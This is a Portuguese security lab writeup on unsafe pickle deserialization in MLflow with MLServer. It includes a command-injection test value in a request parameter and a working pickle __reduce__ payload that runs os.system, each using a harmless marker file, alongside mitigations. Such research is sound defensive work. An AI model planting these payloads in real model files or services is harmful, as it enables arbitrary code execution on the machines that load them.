Ambiente de pesquisa e scripts de validação para avaliar comportamentos de desserialização em MLflow e MLServer.
Abaixo está um relatório estruturado de pesquisa de vulnerabilidade formatado em Markdown, adaptado para um layout de repositório GitHub (como um README.md ou um artigo do security-labs). Ele descreve o contexto, a arquitetura, as etapas de reprodução e as estratégias de remediação com base nos achados do seu laboratório.
Um relatório abrangente de pesquisa de segurança detalhando a verificação, a mecânica subjacente e as vulnerabilidades arquiteturais associadas a pipelines de carregamento de modelos não confiáveis dentro de mlflow==2.11.1 e mlserver==1.3.5.
| Métrica | Detalhes |
|---|
| ID da Vulnerabilidade | CVE-2026-0596 / GHSA-rvhj-8chj-8v3c |
| Enumeração de Fraquezas Comuns | CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') |
| Pontuação Base CVSS v3.1 | 9.6 CRÍTICO (CNA: huntr.dev) / 7.8 ALTO (NVD) |
| Vetor de Impacto | Rede Adjacente, Baixa Complexidade, Nenhum Privilégio Exigido, Nenhuma Interação do Usuário |
| Ecossistema Afetado | mlflow/mlflow (Todas as arquiteturas legadas servindo via enable_mlserver=True) |
O MLflow possui uma integração com o MLServer da Seldon para lidar com o serviço de modelos de alto desempenho e nível empresarial. Ao iniciar um servidor de modelo via interface de linha de comando ou API do servidor de rastreamento, os desenvolvedores utilizam o parâmetro de configuração:
enable_mlserver = True
Este ambiente de laboratório avalia o comportamento em tempo de execução de frameworks de serviço de modelos de aprendizado de máquina ao analisar parâmetros de entrada fornecidos pelo usuário e metadados de artefatos. Embora os limites de análise de parâmetros voltados para a API do MLServer isolem claramente literais de string brutos (impedindo a injeção tradicional de comandos do sistema operacional via metacaracteres de shell), o tempo de execução do Python subjacente permanece estruturalmente vulnerável à Desserialização Insegura ao ingerir fluxos de objetos serializados legados (.pkl / pickle).
pickle.O ambiente de reprodução é containerizado usando Docker para isolar a camada do sistema operacional e simular um endpoint de modelo de aprendizado de máquina de nível de produção.
Dockerfile)FROM python:3.10-slim
WORKDIR /app
# Install native system binaries
RUN apt-get update && apt-get install -y \
curl \
build-essential \
&& rm -rf /var/lib/apt/lists/*
# Pin specific framework versions for target tracking
RUN pip install --no-cache-dir \
mlflow==2.11.1 \
mlserver==1.3.5 \
mlserver-mlflow==1.3.5
# Generate localized model configuration footprint
COPY generate_model.py /app/generate_model.py
RUN python /app/generate_model.py
EXPOSE 5000
generate_model.py)import mlflow
import mlflow.pyfunc
import os
class DummyModel(mlflow.pyfunc.PythonModel):
def predict(self, context, model_input):
return model_input
if __name__ == "__main__":
model_path = "/app/saved_model"
if not os.path.exists(model_path):
mlflow.pyfunc.save_model(path=model_path, python_model=DummyModel())
O teste inicial tentou passar sequências de payload de terminação de shell (; touch /tmp/poc_success_marker.txt #) através do array de payload params do endpoint REST /invocations:
{
"dataframe_split": {
"columns": ["machine_input"],
"data": [["test_data"]]
},
"params": {
"custom_runtime_param": "default_runtime; touch /tmp/poc_success_marker.txt #"
}
}
Resultado: Negativo. O framework tratou o payload com segurança como um literal de string absoluto e não avaliado. Isso confirma que o motor abstrai variáveis de entrada diretamente em espaços de memória do Python, em vez de sintetizar dinamicamente argumentos de shell do sistema via um wrapper de comando bruto.
Como o MLflow e o MLServer ingerem objetos Python compilados, o risco principal muda da avaliação de strings para a reconstrução do grafo de objetos. Usando um script de validação personalizado, um gatilho de execução foi incorporado diretamente em um fluxo de modelo simulado usando o método mágico nativo de otimização do Python (__reduce__).
trigger_native.py)import os
import pickle
class ExploitModel:
def __reduce__(self):
# The __reduce__ method defines object reconstruction behaviors.
# Returning os.system forces immediate runtime command execution during loading.
return (os.system, ("touch /tmp/native_success_marker.txt",))
if __name__ == "__main__":
payload_path = "vulnerable_model.pkl"
# Serialize the code execution payload into a pseudo-model file
with open(payload_path, "wb") as f:
pickle.dump(ExploitModel(), f)
# Simulate an application or model server unpickling the artifact
with open(payload_path, "rb") as f:
pickle.load(f)
O script foi injetado no ambiente sandbox do contêiner para imitar a sequência de carregamento do backend:
# Stage execution payload inside the sandbox
docker cp trigger_native.py mlflow_sandbox:/app/trigger_native.py
# Execute the deserialization routine
docker exec -it mlflow_sandbox python /app/trigger_native.py
Consultar o diretório temporário isolado do contêiner confirmou que a execução de código arbitrário ocorreu instantaneamente durante o loop de alocação de objeto:
PS C:\Users\Sparsh Biswas\mlflow-security-lab> docker exec -it mlflow_sandbox ls -la /tmp/
total 8
drwxrwxrwt 1 root root 4096 May 18 10:31 .
drwxr-xr-x 1 root root 4096 May 18 10:31 ..
-rw-r--r-- 1 root root 0 May 18 10:31 native_success_marker.txt
O problema decorre da confiança implícita na camada de armazenamento de artefatos do modelo. Arquivos Python .pkl / pickle padrão não atuam apenas como registros de configuração simples; eles contêm instruções sequenciais de bytecode destinadas a reconstruir propriedades de objetos aninhados.
Quando pickle.load() analisa o conjunto de dados, ele prioriza o fluxo de instruções fornecido pelo hook __reduce__. Isso redireciona o aplicativo alvo para chamar binários nativos do sistema (os.system) diretamente no ambiente de shell antes que a validação do tipo de dados ou os cálculos de inferência de aprendizado de máquina sejam inicializados.
Descontinuar o uso de camadas de serialização legadas (pickle, joblib, marshal) em todos os pipelines de treinamento e implantação. Substituí-las por restrições estruturais apenas de dados:
Se o seu pipeline exigir estritamente configurações de modelo legadas:
USER 10001).cap_drop: [ALL]) e isole o pod de redes que contenham endpoints de metadados sensíveis.